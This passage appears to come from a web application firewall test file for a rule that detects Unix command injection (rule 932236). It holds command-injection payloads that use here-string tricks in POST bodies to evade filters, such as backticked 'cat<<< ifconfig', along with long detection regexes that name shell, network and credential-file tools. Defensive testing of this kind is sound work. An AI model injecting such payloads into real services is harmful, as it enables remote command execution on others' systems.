ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block evasion using here string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<< ifconfig`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{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?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<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]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Block evasion using here string with space" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;`cat<<<'ifconfig'`\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\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\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\